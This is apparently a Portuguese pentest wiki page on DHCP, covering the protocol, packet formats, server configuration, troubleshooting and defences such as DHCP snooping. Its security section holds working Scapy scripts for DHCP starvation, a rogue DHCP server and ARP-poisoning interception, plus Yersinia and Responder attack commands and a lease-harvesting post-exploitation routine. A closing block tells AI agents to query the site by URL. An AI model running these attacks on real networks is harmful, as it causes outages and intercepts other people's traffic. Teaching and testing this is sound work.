# DHCP

## 📋 **Índice**

1. [Fundamentos do DHCP](#-fundamentos-do-dhcp)
2. [Arquitetura e Componentes](#-arquitetura-e-componentes)
3. [Processo DORA Detalhado](#-processo-dora-detalhado)
4. [Mensagens e Opções DHCP](#-mensagens-e-opções-dhcp)
5. [Segurança e Vulnerabilidades](#-segurança-e-vulnerabilidades)
6. [Pentesting e DHCP](#-pentesting-e-dhcp)
7. [Configurações Avançadas](#-configurações-avançadas)
8. [Troubleshooting e Diagnóstico](#-troubleshooting-e-diagnóstico)

***

## 🔍 **Fundamentos do DHCP**

### **O que é DHCP?**

O **Dynamic Host Configuration Protocol (DHCP)** é um protocolo de rede cliente-servidor que automatiza a atribuição de configurações de rede para dispositivos conectados a uma rede IP. Desenvolvido como sucessor do BOOTP (Bootstrap Protocol), o DHCP elimina a necessidade de configuração manual de endereços IP, máscaras de sub-rede, gateways e servidores DNS.

### **Contexto Histórico**

```yaml
Evolução do DHCP:
  1985: BOOTP (RFC 951) - Atribuição básica de IPs
  1993: DHCP (RFC 1531) - Primeira especificação
  1997: DHCP (RFC 2131) - Versão estável atual
  1999: DHCPv6 (RFC 3315) - Suporte a IPv6
  2018: DHCPv6 (RFC 8415) - Especificação consolidada

Motivação:
  ❌ Configuração manual de IPs era inviável para redes grandes
  ❌ Erros humanos causavam conflitos de IP
  ❌ Mobilidade de dispositivos exigia reconfiguração constante
  ✅ DHCP resolveu automatizando 100% da configuração
```

### **Benefícios do DHCP**

| Benefício         | Descrição                                      | Impacto Operacional     |
| ----------------- | ---------------------------------------------- | ----------------------- |
| **Automação**     | Configuração automática de dispositivos        | Elimina trabalho manual |
| **Centralização** | Gerenciamento único de escopos de IP           | Redução de erros        |
| **Eficiência**    | Reutilização de endereços via leasing          | Conservação de IPs      |
| **Mobilidade**    | Configuração dinâmica para dispositivos móveis | Plug-and-play           |
| **Consistência**  | Opções uniformes para toda a rede              | Padronização            |

***

## 🏗️ **Arquitetura e Componentes**

### **Componentes Fundamentais**

#### **1. Servidor DHCP**

```python
# Estrutura conceitual do servidor DHCP
class DHCPServer:
    def __init__(self):
        self.scopes = {}           # Escopos de endereços
        self.leases = {}           # Concessões ativas
        self.reservations = {}     # Reservas MAC -> IP
        self.options = {}          # Opções DHCP padrão
    
    def add_scope(self, network, subnet, start_ip, end_ip):
        """Adicionar escopo de endereços"""
        self.scopes[network] = {
            'subnet': subnet,
            'range': (start_ip, end_ip),
            'available': self.generate_ip_pool(start_ip, end_ip)
        }
    
    def allocate_ip(self, mac_address, client_id=None):
        """Alocar IP para cliente"""
        # Verificar reserva existente
        if mac_address in self.reservations:
            return self.reservations[mac_address]
        
        # Buscar próximo IP disponível
        for scope in self.scopes.values():
            for ip in scope['available']:
                if ip not in self.leases:
                    lease_time = 86400  # 24 horas padrão
                    self.leases[ip] = {
                        'mac': mac_address,
                        'client_id': client_id,
                        'start_time': time.time(),
                        'end_time': time.time() + lease_time
                    }
                    return ip
        
        return None  # Nenhum IP disponível
```

#### **2. Cliente DHCP**

```python
# Cliente DHCP simplificado
class DHCPClient:
    def __init__(self, interface):
        self.interface = interface
        self.ip_address = None
        self.subnet_mask = None
        self.gateway = None
        self.dns_servers = []
        self.lease_time = 0
        self.state = 'INIT'  # INIT, SELECTING, REQUESTING, BOUND
    
    def discover(self):
        """Enviar DHCPDISCOVER"""
        self.state = 'SELECTING'
        packet = self.build_dhcp_packet(
            message_type='DISCOVER',
            client_mac=self.get_mac(),
            options={'param_req_list': [1, 3, 6, 15]}
        )
        self.send_broadcast(packet)
    
    def handle_offer(self, offer):
        """Processar DHCPOFFER recebido"""
        self.state = 'REQUESTING'
        self.offered_ip = offer['yiaddr']
        self.server_id = offer['server_id']
        
        # Enviar DHCPREQUEST
        request = self.build_dhcp_packet(
            message_type='REQUEST',
            client_mac=self.get_mac(),
            requested_ip=self.offered_ip,
            server_id=self.server_id
        )
        self.send_broadcast(request)
    
    def handle_ack(self, ack):
        """Processar DHCPACK e configurar interface"""
        self.state = 'BOUND'
        self.ip_address = ack['yiaddr']
        self.subnet_mask = ack['subnet_mask']
        self.gateway = ack['router']
        self.dns_servers = ack['dns']
        self.lease_time = ack['lease_time']
        
        self.configure_interface()
```

#### **3. Relay Agent (DHCP Relay)**

```python
# Agente de retransmissão DHCP para redes roteadas
class DHCPRelay:
    def __init__(self, server_ip, interfaces):
        self.server_ip = server_ip
        self.interfaces = interfaces
    
    def forward_discovery(self, packet, ingress_interface):
        """Retransmitir DHCPDISCOVER para servidor"""
        # Modificar pacote
        packet['giaddr'] = self.get_interface_ip(ingress_interface)
        packet['hops'] += 1
        
        # Enviar para servidor
        self.send_unicast(packet, self.server_ip)
    
    def forward_response(self, packet):
        """Retransmitir resposta do servidor para cliente"""
        # Extrair IP de retorno do campo giaddr
        client_ip = packet['giaddr']
        self.send_unicast(packet, client_ip)
```

### **Tipos de Escopos DHCP**

```yaml
Escopos DHCP:
  
  Primary Scope (Normal):
    - IP Range: 192.168.1.10 - 192.168.1.250
    - Leases: 24 horas
    - Uso: Dispositivos gerais da rede
  
  Reservation (Reserva):
    - MAC: AA:BB:CC:DD:EE:FF → 192.168.1.100
    - Leases: Permanente
    - Uso: Impressoras, servidores, dispositivos críticos
  
  Superscope:
    - Múltiplos escopos em um único servidor
    - Uso: Ambientes com múltiplas sub-redes
  
  Multicast Scope (MADCAP):
    - IP Range: 224.0.0.0 - 239.255.255.255
    - Uso: Aplicações multicast
```

***

## ⚙️ **Processo DORA Detalhado**

### **Fluxo Completo DORA**

```mermaid
sequenceDiagram
    participant C as Cliente (0.0.0.0:68)
    participant S as Servidor (192.168.1.1:67)
    participant R as Relay Agent (Opcional)

    Note over C: Estado: INIT
    C->>C: Gera Transaction ID (xid)
    C->>R: DHCPDISCOVER (Broadcast)
    Note right of C: src: 0.0.0.0:68<br/>dst: 255.255.255.255:67
    R->>S: DHCPDISCOVER (Unicast)
    Note right of R: Adiciona giaddr
    
    S->>S: Seleciona IP disponível
    S->>R: DHCPOFFER (Unicast)
    R->>C: DHCPOFFER (Broadcast)
    Note left of S: yiaddr: 192.168.1.50
    
    C->>C: Seleciona oferta
    C->>R: DHCPREQUEST (Broadcast)
    R->>S: DHCPREQUEST (Unicast)
    Note right of C: Requested IP: 192.168.1.50
    
    S->>S: Confirma concessão
    S->>R: DHCPACK (Unicast)
    R->>C: DHCPACK (Broadcast)
    Note left of S: Lease Time: 86400s
```

### **Detalhamento Técnico das Etapas**

#### **Fase 1: DHCPDISCOVER**

```python
# Estrutura do pacote DHCPDISCOVER
dhcp_discover = {
    'op': 1,                    # Boot Request
    'htype': 1,                 # Hardware type (Ethernet)
    'hlen': 6,                  # Hardware address length
    'hops': 0,                  # Hops (0 para cliente)
    'xid': 0x12345678,          # Transaction ID
    'secs': 0,                  # Seconds elapsed
    'flags': 0x8000,            # Broadcast flag
    'ciaddr': '0.0.0.0',        # Client IP address
    'yiaddr': '0.0.0.0',        # Your IP address
    'siaddr': '0.0.0.0',        # Server IP address
    'giaddr': '0.0.0.0',        # Relay agent IP
    'chaddr': 'AA:BB:CC:DD:EE:FF', # Client MAC
    'options': {
        'message_type': 1,      # DISCOVER
        'client_id': '01:AA:BB:CC:DD:EE:FF',
        'param_req_list': [1, 3, 6, 15, 28, 42], # Subnet, Router, DNS, Domain, Broadcast, NTP
        'hostname': 'client-01'
    }
}
```

#### **Fase 2: DHCPOFFER**

```python
# Estrutura do pacote DHCPOFFER
dhcp_offer = {
    'op': 2,                    # Boot Reply
    'htype': 1,
    'hlen': 6,
    'hops': 0,
    'xid': 0x12345678,          # Mesmo xid do DISCOVER
    'secs': 0,
    'flags': 0x8000,
    'ciaddr': '0.0.0.0',
    'yiaddr': '192.168.1.50',   # IP OFERECIDO!
    'siaddr': '192.168.1.1',    # Servidor DHCP
    'giaddr': '0.0.0.0',
    'chaddr': 'AA:BB:CC:DD:EE:FF',
    'options': {
        'message_type': 2,      # OFFER
        'server_id': '192.168.1.1',
        'lease_time': 86400,    # 24 horas
        'subnet_mask': '255.255.255.0',
        'router': '192.168.1.1',
        'domain_name_server': ['8.8.8.8', '8.8.4.4'],
        'domain_name': 'empresa.local'
    }
}
```

#### **Fase 3: DHCPREQUEST**

```python
# Estrutura do pacote DHCPREQUEST
dhcp_request = {
    'op': 1,                    # Boot Request
    'htype': 1,
    'hlen': 6,
    'hops': 0,
    'xid': 0x12345678,          # Mesmo xid
    'secs': 0,
    'flags': 0x8000,
    'ciaddr': '0.0.0.0',
    'yiaddr': '0.0.0.0',
    'siaddr': '0.0.0.0',
    'giaddr': '0.0.0.0',
    'chaddr': 'AA:BB:CC:DD:EE:FF',
    'options': {
        'message_type': 3,      # REQUEST
        'server_id': '192.168.1.1',  # Servidor escolhido
        'requested_ip': '192.168.1.50',  # IP aceito
        'hostname': 'client-01'
    }
}
```

#### **Fase 4: DHCPACK/DHCPNAK**

```python
# DHCPACK - Concessão Confirmada
dhcp_ack = {
    'op': 2,
    'yiaddr': '192.168.1.50',
    'options': {
        'message_type': 5,      # ACK
        'lease_time': 86400,
        'subnet_mask': '255.255.255.0',
        'router': '192.168.1.1',
        'dns': ['8.8.8.8', '8.8.4.4'],
        'renewal_time': 43200,   # T1 - 50% do lease
        'rebinding_time': 75600  # T2 - 87.5% do lease
    }
}

# DHCPNAK - Concessão Negada
dhcp_nak = {
    'op': 2,
    'options': {
        'message_type': 6,      # NAK
        'message': 'IP address not available'
    }
}
```

### **Temporizadores DHCP**

```python
class DHCPTimers:
    def __init__(self, lease_time=86400):
        self.lease_time = lease_time
        self.renewal_time = lease_time * 0.5      # T1 = 50%
        self.rebinding_time = lease_time * 0.875  # T2 = 87.5%
    
    def calculate_timers(self):
        """Calcular temporizadores baseados no lease"""
        return {
            'T1': self.renewal_time,    # Tentar renovar em T1
            'T2': self.rebinding_time,  # Tentar rebinding em T2
            'T3': 60,                    # Tempo de retransmissão
            'max_retries': 4
        }
    
    def renewal_state(self, elapsed_time):
        """Determinar estado baseado no tempo decorrido"""
        if elapsed_time < self.renewal_time:
            return 'BOUND'
        elif elapsed_time < self.rebinding_time:
            return 'RENEWING'
        else:
            return 'REBINDING'
```

***

## 📨 **Mensagens e Opções DHCP**

### **Tipos de Mensagens DHCP**

| Código | Mensagem     | Direção            | Descrição                    |
| ------ | ------------ | ------------------ | ---------------------------- |
| 1      | DHCPDISCOVER | Cliente → Servidor | Descoberta de servidores     |
| 2      | DHCPOFFER    | Servidor → Cliente | Oferta de configuração       |
| 3      | DHCPREQUEST  | Cliente → Servidor | Solicitação de IP            |
| 4      | DHCPDECLINE  | Cliente → Servidor | Recusa de IP (conflito)      |
| 5      | DHCPACK      | Servidor → Cliente | Confirmação de concessão     |
| 6      | DHCPNAK      | Servidor → Cliente | Negação de concessão         |
| 7      | DHCPRELEASE  | Cliente → Servidor | Liberação de IP              |
| 8      | DHCPINFORM   | Cliente → Servidor | Solicitação de opções apenas |

### **Opções DHCP Essenciais**

```python
# Opções DHCP mais comuns (RFC 2132)
DHCP_OPTIONS = {
    1: 'Subnet Mask',
    3: 'Router (Gateway)',
    6: 'Domain Name Server',
    12: 'Host Name',
    15: 'Domain Name',
    28: 'Broadcast Address',
    42: 'NTP Servers',
    50: 'Requested IP Address',
    51: 'IP Address Lease Time',
    53: 'DHCP Message Type',
    54: 'Server Identifier',
    55: 'Parameter Request List',
    56: 'Message',
    58: 'Renewal Time (T1)',
    59: 'Rebinding Time (T2)',
    66: 'TFTP Server Name',
    67: 'Bootfile Name',
    119: 'Domain Search List',
    121: 'Classless Static Route',
    150: 'TFTP Server Address'
}

# Exemplo de pacote com opções
dhcp_packet_options = {
    'options': [
        (53, b'\x01'),                      # DHCPDISCOVER
        (12, b'workstation-01'),            # Hostname
        (55, b'\x01\x03\x06\x0f\x1c'),     # Params: Subnet, Router, DNS, Domain, Broadcast
        (61, b'\x01\xaa\xbb\xcc\xdd\xee\xff'), # Client ID
        (60, b'MSFT 5.0')                   # Vendor Class ID
    ]
}
```

### **Vendor Class Identifier (Option 60)**

```yaml
Identificadores de Fabricante (Option 60):
  
  Microsoft:
    - 'MSFT 5.0': Windows 2000/XP
    - 'MSFT 5.1': Windows 7/8/10
    - 'MSFT 6.0': Windows Server 2012+
  
  Linux:
    - 'dhcpcd-6.7.1': dhcpcd client
    - 'udhcp 1.22.1': BusyBox udhcpc
  
  Network Devices:
    - 'Cisco AP c350': Access Point
    - 'PXEClient': PXE Boot
    - 'Android': Android devices
    - 'iPhone': iOS devices
```

***

## 🔒 **Segurança e Vulnerabilidades**

### **Ameaças ao DHCP**

```mermaid
graph TD
    A[Ameaças DHCP] --> B[DHCP Starvation]
    A --> C[Rogue DHCP Server]
    A --> D[DHCP Spoofing]
    A --> E[DHCPv6 Attacks]
    
    B --> B1[Exaustão de IPs]
    B --> B2[DoS para clientes]
    
    C --> C1[Redirecionamento de tráfego]
    C --> C2[Man-in-the-Middle]
    C --> C3[Coleta de informações]
    
    D --> D1[ARP Poisoning]
    D --> D2[IP Address Spoofing]
    
    E --> E1[IPv6 Router Advertisement]
    E --> E2[DHCPv6 rogue servers]
```

### **Ataque 1: DHCP Starvation**

```python
#!/usr/bin/env python3
# dhcp_starvation.py - Demonstração educacional

from scapy.all import *
import random
import time

class DHCPStarvation:
    def __init__(self, interface, target_network=None):
        self.interface = interface
        self.target_network = target_network
        self.mac_prefix = "00:11:22:"
    
    def random_mac(self):
        """Gerar MAC address aleatório"""
        return f"{self.mac_prefix}{random.randint(0, 255):02x}:{random.randint(0, 255):02x}:{random.randint(0, 255):02x}"
    
    def send_discover(self, mac):
        """Enviar DHCPDISCOVER com MAC spoofed"""
        packet = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / \
                 IP(src="0.0.0.0", dst="255.255.255.255") / \
                 UDP(sport=68, dport=67) / \
                 BOOTP(chaddr=[int(x,16) for x in mac.split(':')]) / \
                 DHCP(options=[
                     ("message-type", "discover"),
                     ("end")
                 ])
        
        sendp(packet, iface=self.interface, verbose=False)
    
    def starve(self, count=1000, delay=0.1):
        """Executar ataque de exaustão"""
        print(f"🚀 Iniciando DHCP Starvation na interface {self.interface}")
        print(f"📊 Alvo: {count} requisições com delay {delay}s")
        
        for i in range(count):
            mac = self.random_mac()
            self.send_discover(mac)
            print(f"  [{i+1}/{count}] Enviado DISCOVER com MAC: {mac}")
            time.sleep(delay)
        
        print("✅ Ataque concluído")

# Nota: Este código é apenas para fins educacionais e testes autorizados
```

### **Ataque 2: Rogue DHCP Server**

```python
#!/usr/bin/env python3
# rogue_dhcp_server.py - Demonstração educacional

from scapy.all import *

class RogueDHCPServer:
    def __init__(self, interface, ip_range, gateway, dns):
        self.interface = interface
        self.ip_range = ip_range
        self.gateway = gateway
        self.dns = dns
        self.leases = {}
        self.server_ip = self.get_interface_ip()
    
    def get_interface_ip(self):
        """Obter IP da interface"""
        import netifaces
        return netifaces.ifaddresses(self.interface)[netifaces.AF_INET][0]['addr']
    
    def handle_dhcp_discover(self, packet, xid, chaddr):
        """Responder a DHCPDISCOVER com oferta maliciosa"""
        # Gerar IP para o cliente
        client_ip = self.allocate_ip(chaddr)
        
        # Construir DHCPOFFER
        dhcp_offer = Ether(dst=packet[Ether].src) / \
                     IP(src=self.server_ip, dst="255.255.255.255") / \
                     UDP(sport=67, dport=68) / \
                     BOOTP(op=2, xid=xid, yiaddr=client_ip, 
                           chaddr=chaddr) / \
                     DHCP(options=[
                         ("message-type", "offer"),
                         ("server_id", self.server_ip),
                         ("lease_time", 86400),
                         ("subnet_mask", "255.255.255.0"),
                         ("router", self.gateway),
                         ("name_server", self.dns),
                         ("end")
                     ])
        
        sendp(dhcp_offer, iface=self.interface)
        print(f"📤 Enviado OFFER para {chaddr} com IP {client_ip}")
    
    def allocate_ip(self, mac):
        """Alocar IP para cliente"""
        # Implementação simplificada
        return f"192.168.1.{len(self.leases) + 10}"
    
    def start(self):
        """Iniciar servidor DHCP malicioso"""
        print(f"⚠️  Iniciando Rogue DHCP Server na interface {self.interface}")
        print(f"🌐 Gateway malicioso: {self.gateway}")
        print(f"🔍 DNS malicioso: {self.dns}")
        
        sniff(iface=self.interface,
              filter="udp and port 67",
              prn=self.process_packet)
    
    def process_packet(self, packet):
        """Processar pacotes DHCP recebidos"""
        if packet.haslayer(DHCP):
            options = packet[DHCP].options
            
            for opt in options:
                if opt[0] == 'message-type' and opt[1] == 1:  # DHCPDISCOVER
                    xid = packet[BOOTP].xid
                    chaddr = packet[BOOTP].chaddr
                    self.handle_dhcp_discover(packet, xid, chaddr)
                    break

# Nota: Este código é apenas para demonstração de vulnerabilidade
```

### **Ataque 3: DHCP Spoofing e MITM**

```python
# Script para redirecionamento de tráfego após DHCP spoofing
def arp_poisoning(gateway_ip, target_ip, interface):
    """
    Após configurar gateway falso via DHCP, 
    realizar ARP poisoning para interceptar tráfego
    """
    from scapy.all import *
    
    def arp_poison(target_ip, spoof_ip):
        packet = ARP(op=2, pdst=target_ip, hwdst=getmacbyip(target_ip),
                     psrc=spoof_ip)
        send(packet, verbose=False)
    
    # Envenenar ARP continuamente
    while True:
        arp_poison(target_ip, gateway_ip)  # Fazer cliente acreditar que somos gateway
        arp_poison(gateway_ip, target_ip)  # Fazer gateway acreditar que somos cliente
        time.sleep(2)

# Ativar IP forwarding para redirecionar tráfego
import subprocess
subprocess.call("echo 1 > /proc/sys/net/ipv4/ip_forward", shell=True)
```

### **Medidas de Proteção**

```yaml
Proteções DHCP:
  
  DHCP Snooping (Cisco/HP):
    - Portas confiáveis: onde servidores legítimos estão
    - Portas não confiáveis: para clientes
    - Filtra mensagens DHCP de fontes não autorizadas
  
  IP Source Guard:
    - Filtra tráfego baseado no binding DHCP snooping
    - Prevenção contra IP spoofing
  
  Dynamic ARP Inspection (DAI):
    - Valida ARP baseado no binding DHCP snooping
    - Previne ARP poisoning
  
  Port Security:
    - Limita número de MACs por porta
    - Mitiga DHCP starvation
  
  DHCP Authentication (RFC 3118):
    - Autenticação de mensagens DHCP
    - Pouco implementado na prática
```

### **Configuração de Proteção (Cisco)**

```cisco
! Habilitar DHCP Snooping
ip dhcp snooping
ip dhcp snooping vlan 1,10,20

! Definir porta confiável (servidor DHCP)
interface GigabitEthernet0/1
 ip dhcp snooping trust

! Definir limites de taxa para portas cliente
interface GigabitEthernet0/2
 ip dhcp snooping limit rate 10

! Habilitar IP Source Guard
interface GigabitEthernet0/2
 ip verify source

! Habilitar DAI
ip arp inspection vlan 1,10,20
interface GigabitEthernet0/1
 ip arp inspection trust
```

***

## 🎯 **Pentesting e DHCP**

### **Metodologia de Teste**

#### **Fase 1: Descoberta de Servidores DHCP**

```bash
# Detectar servidores DHCP legítimos
nmap --script broadcast-dhcp-discover

# Usando dhcping
dhcping -c -s 192.168.1.1

# Usando dhclient manualmente
dhclient -v eth0

# Detectar via tcpdump
tcpdump -i eth0 -n -v udp port 67 or 68
```

#### **Fase 2: Identificação de Vulnerabilidades**

```python
# dhcp_vulnerability_scanner.py
import socket
import struct
import binascii

def scan_dhcp_vulnerabilities():
    """Scanear vulnerabilidades DHCP"""
    vulnerabilities = []
    
    # Testar DHCP starvation
    starvation_test = test_dhcp_starvation()
    if starvation_test:
        vulnerabilities.append({
            'type': 'DHCP_STARVATION',
            'severity': 'HIGH',
            'description': 'Servidor vulnerável a exaustão de IPs'
        })
    
    # Testar rogue server detection
    rogue_test = test_rogue_detection()
    if rogue_test:
        vulnerabilities.append({
            'type': 'NO_ROGUE_DETECTION',
            'severity': 'CRITICAL',
            'description': 'Rede não detecta servidores DHCP não autorizados'
        })
    
    # Testar opções inseguras
    insecure_options = check_insecure_options()
    if insecure_options:
        vulnerabilities.append({
            'type': 'INSECURE_OPTIONS',
            'severity': 'MEDIUM',
            'description': f'Opções inseguras: {insecure_options}'
        })
    
    return vulnerabilities
```

#### **Fase 3: Ferramentas de Teste**

```bash
# Yersinia - Framework para testes de protocolos L2
yersinia -h
yersinia -G  # Interface gráfica

# Ataques via Yersinia
yersinia -I dhcp -M discover -i eth0  # DHCP Discovery
yersinia -I dhcp -M starvation -i eth0  # DHCP Starvation
yersinia -I dhcp -M create_server -i eth0  # Rogue server

# dhcpstarv - Ferramenta especializada
dhcpstarv -i eth0 -v

# Responder - Ferramenta multi-protocolo
responder -I eth0 -dw  # Modo DHCP
```

### **Post-Exploitation com DHCP**

```python
# Extrair informações de leases DHCP
def extract_dhcp_leases():
    """Extrair leases DHCP de sistemas comprometidos"""
    lease_files = [
        '/var/lib/dhcp/dhclient.leases',
        '/var/lib/dhcpd/dhcpd.leases',
        '/etc/dhcp/dhclient.conf',
        '/var/log/syslog'
    ]
    
    leases = []
    for file in lease_files:
        try:
            with open(file, 'r') as f:
                content = f.read()
                # Parse de leases
                import re
                ip_pattern = r'fixed-address (\d+\.\d+\.\d+\.\d+)'
                mac_pattern = r'hardware ethernet ([a-fA-F0-9:]{17})'
                
                ips = re.findall(ip_pattern, content)
                macs = re.findall(mac_pattern, content)
                
                leases.append({
                    'file': file,
                    'ips': ips,
                    'macs': macs
                })
        except:
            pass
    
    return leases
```

***

## 🛠️ **Configurações Avançadas**

### **ISC DHCP Server (Linux)**

```bash
# /etc/dhcp/dhcpd.conf
# Configuração básica
option domain-name "empresa.local";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 86400;
max-lease-time 172800;
authoritative;

# Escopo principal
subnet 192.168.1.0 netmask 255.255.255.0 {
    range 192.168.1.100 192.168.1.200;
    option routers 192.168.1.1;
    option subnet-mask 255.255.255.0;
    option broadcast-address 192.168.1.255;
    
    # Reservas MAC
    host impressora {
        hardware ethernet 00:11:22:33:44:55;
        fixed-address 192.168.1.50;
        option host-name "impressora-corp";
    }
    
    host servidor {
        hardware ethernet AA:BB:CC:DD:EE:FF;
        fixed-address 192.168.1.10;
        option host-name "servidor-web";
    }
}

# Escopo para redes sem fio (VLAN 20)
subnet 192.168.20.0 netmask 255.255.255.0 {
    range 192.168.20.50 192.168.20.150;
    option routers 192.168.20.1;
    option domain-name "wifi.empresa.local";
    option domain-name-servers 192.168.1.1;
    
    # Opções específicas para clientes
    option ntp-servers 192.168.1.10;
    option netbios-name-servers 192.168.1.20;
}

# Configuração de relay agent
shared-network "campus" {
    option domain-name "campus.empresa.local";
    
    subnet 10.10.1.0 netmask 255.255.255.0 {
        option routers 10.10.1.1;
    }
    
    subnet 10.10.2.0 netmask 255.255.255.0 {
        option routers 10.10.2.1;
    }
}
```

### **Windows DHCP Server**

```powershell
# Configurar DHCP Server no Windows
Install-WindowsFeature DHCP -IncludeManagementTools

# Adicionar escopo
Add-DhcpServerv4Scope -Name "Rede Principal" `
    -StartRange 192.168.1.100 `
    -EndRange 192.168.1.200 `
    -SubnetMask 255.255.255.0

# Configurar opções
Set-DhcpServerv4OptionValue -ScopeId 192.168.1.0 `
    -Router 192.168.1.1 `
    -DnsServer 8.8.8.8,8.8.4.4 `
    -DnsDomain "empresa.local"

# Adicionar reserva
Add-DhcpServerv4Reservation -ScopeId 192.168.1.0 `
    -IPAddress 192.168.1.50 `
    -ClientId "00-11-22-33-44-55" `
    -Name "Impressora-Corp"

# Autorizar servidor
Add-DhcpServerInDC -DnsName "dhcp.empresa.local" -IPAddress 192.168.1.10
```

### **DHCP com PXE Boot**

```bash
# Configuração para PXE Boot (Network Installation)
subnet 192.168.1.0 netmask 255.255.255.0 {
    range 192.168.1.100 192.168.1.150;
    option routers 192.168.1.1;
    
    # Opções PXE
    next-server 192.168.1.10;  # TFTP Server
    filename "pxelinux.0";      # Boot file
    
    # Opções para Windows Deployment
    option vendor-encapsulated-options "PXEClient:Arch:00000:UNDI:002001";
    option tftp-server-name "192.168.1.10";
    option bootfile-name "boot\\x64\\wdsnbp.com";
}

# Opção 67 e 66 para Legacy PXE
option option-66 "192.168.1.10";
option option-67 "pxelinux.0";
```

### **DHCPv6**

```bash
# /etc/dhcp/dhcpd6.conf
subnet6 2001:db8:0:1::/64 {
    range6 2001:db8:0:1::100 2001:db8:0:1::200;
    option dhcp6.name-servers 2001:4860:4860::8888, 2001:4860:4860::8844;
    option dhcp6.domain-search "empresa.local";
    
    # Prefix delegation
    prefix6 2001:db8:0:2:: 2001:db8:0:3:: /56;
    
    host client-01 {
        host-identifier option dhcp6.client-id 00:01:00:01:2a:3b:4c:5d:aa:bb:cc:dd:ee:ff;
        fixed-address6 2001:db8:0:1::50;
    }
}
```

***

## 🔍 **Troubleshooting e Diagnóstico**

### **Ferramentas de Diagnóstico**

#### **1. Análise de Tráfego DHCP**

```bash
# Capturar tráfego DHCP com tcpdump
tcpdump -i eth0 -n -v udp port 67 or 68

# Wireshark display filters
# dhcp.option.dhcp_server == "192.168.1.1"
# dhcp.option.dhcp_message_type == 1

# Análise com tshark
tshark -r capture.pcap -Y "dhcp" -T fields -e dhcp.option.dhcp_server \
    -e dhcp.option.requested_ip_address -e dhcp.hw.mac_addr
```

#### **2. Verificação de Concessões**

```bash
# Linux - Ver leases ativos
cat /var/lib/dhcp/dhclient.leases
dhcp-lease-list

# Windows - Ver leases
netsh dhcp server show scope
netsh dhcp server scope 192.168.1.0 show clients

# Cisco - Ver bindings
show ip dhcp binding
show ip dhcp pool
```

#### **3. Teste de Conectividade**

```python
#!/usr/bin/env python3
# dhcp_diagnostics.py

import socket
import struct
import time

def test_dhcp_server(server_ip):
    """Testar resposta do servidor DHCP"""
    # Criar socket raw
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    sock.settimeout(5)
    
    # Construir DHCPDISCOVER
    xid = int(time.time())
    discover = struct.pack('!BBBBIIIHH', 1, 1, 6, 0, xid, 0, 0, 0, 0)
    discover += b'\x00' * 16  # chaddr
    discover += b'\x00' * 192  # sname, file
    
    # Enviar
    sock.sendto(discover, ('255.255.255.255', 67))
    
    try:
        data, addr = sock.recvfrom(1024)
        print(f"✅ Servidor DHCP respondeu de: {addr}")
        return True
    except socket.timeout:
        print("❌ Nenhum servidor DHCP encontrado")
        return False
    finally:
        sock.close()

# Diagnóstico completo
def dhcp_diagnostics():
    """Executar diagnóstico completo DHCP"""
    results = {
        'server_response': test_dhcp_server(None),
        'broadcast_reachability': test_broadcast(),
        'interface_status': get_interface_status()
    }
    return results
```

### **Problemas Comuns e Soluções**

| Problema             | Sintomas               | Causa                      | Solução                              |
| -------------------- | ---------------------- | -------------------------- | ------------------------------------ |
| **IP não obtido**    | APIPA (169.254.x.x)    | Servidor inacessível       | Verificar servidor, firewall, VLAN   |
| **Conflito de IP**   | Duplicate IP detection | Reserva manual conflitante | Verificar leases, atualizar reservas |
| **Lease não renova** | Desconexão após T2     | Problemas de broadcast     | Verificar relay, roteamento          |
| **PXE não funciona** | Timeout boot           | Opções PXE faltando        | Configurar next-server e filename    |
| **DHCPv6 falha**     | IPv6 Link-local apenas | Router Advertisement       | Configurar RA com M flag             |

### **Logging e Monitoramento**

```bash
# Logging de eventos DHCP no Linux
tail -f /var/log/syslog | grep dhcpd

# Configurar logging específico no dhcpd.conf
log-facility local7;

# rsyslog config
echo "local7.* /var/log/dhcpd.log" >> /etc/rsyslog.d/dhcp.conf
systemctl restart rsyslog

# Monitoramento de leases
watch -n 60 'dhcp-lease-list | grep -E "leases|active"'
```

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
DHCP é um protocolo fundamental para:
  ✅ Automatizar configuração de rede
  ✅ Centralizar gerenciamento de IPs
  ✅ Suportar mobilidade de dispositivos
  ✅ Facilitar implantação em larga escala

Desafios de segurança:
  ❌ Falta de autenticação nativa
  ❌ Vulnerável a ataques de camada 2
  ❌ Confia em broadcast (não roteado nativamente)
  ❌ Opções podem ser abusadas (PXE, WPAD)
```

### **Boas Práticas de Implementação**

1. **Segmentação de Rede**
   * Separar VLANs para diferentes tipos de dispositivos
   * Usar DHCP relay para roteamento
   * Isolar DHCP management VLAN
2. **Proteções de Segurança**
   * Implementar DHCP Snooping
   * Usar Port Security e IP Source Guard
   * Monitorar servidores DHCP não autorizados
   * Configurar rate limiting
3. **Alta Disponibilidade**
   * DHCP Failover (ISC DHCP) ou Split Scope (Windows)
   * Monitoramento de leases
   * Backup regular de configurações
4. **Para Pentesters**
   * Sempre testar DHCP como vetor de ataque
   * Documentar configurações inseguras
   * Verificar opções DHCP maliciosas (WPAD, PXE)
   * Testar DHCPv6 para redes modernas

### **Futuro do DHCP**

```yaml
Tendências e Evolução:
  
  Transição IPv6:
    - SLAAC (Stateless Address Autoconfiguration)
    - DHCPv6 para opções adicionais
    - Prevalência de dual-stack
  
  Cloud e SDN:
    - DHCPaaS (DHCP as a Service)
    - SDN controllers gerenciando IPs
    - Automação via APIs
  
  Zero Trust:
    - Autenticação DHCP (802.1X)
    - Micro-segmentação
    - Network Access Control (NAC)
  
  IoT:
    - DHCP para dispositivos IoT
    - Opções específicas para IoT
    - Escopos dedicados para dispositivos limitados
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/protocolos-de-rede/dhcp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
